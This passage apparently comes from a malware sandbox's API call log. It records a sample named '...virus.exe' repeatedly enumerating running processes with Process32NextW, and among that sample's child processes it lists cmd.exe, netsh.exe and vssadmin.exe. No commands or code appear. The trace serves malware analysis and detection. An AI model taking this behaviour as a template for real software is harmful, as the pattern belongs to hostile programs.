szExeFile="lsass.exe")) returned 1 [0212.614] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0212.614] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.615] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.615] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.615] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.615] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.616] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.616] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.617] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.617] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.617] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.618] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.618] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.618] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.619] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0212.619] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0212.619] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0212.620] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.620] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.620] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.621] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.621] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0212.621] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.622] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0212.622] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.622] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0212.623] CloseHandle (hObject=0x1a8) returned 1 [0212.623] Sleep (dwMilliseconds=0x1f4) [0213.838] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0213.844] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.844] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.845] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.845] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.845] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.846] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.846] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.850] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.850] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.851] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0213.851] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.851] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.852] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.852] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.853] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.853] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.854] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.854] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.855] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.855] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.855] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.856] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.856] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.857] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0213.857] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0213.858] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0213.858] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.859] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.859] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.859] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.860] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0213.860] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.861] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0213.861] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.861] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0213.862] CloseHandle (hObject=0x1a8) returned 1 [0213.862] Sleep (dwMilliseconds=0x1f4) [0214.369] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0214.371] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.371] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.372] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.372] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.373] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.373] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.374] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.374] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.375] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0214.375] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0214.375] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.376] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.376] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.377] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.377] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.378] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0214.378] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.379] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.379] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0214.380] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0214.380] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, 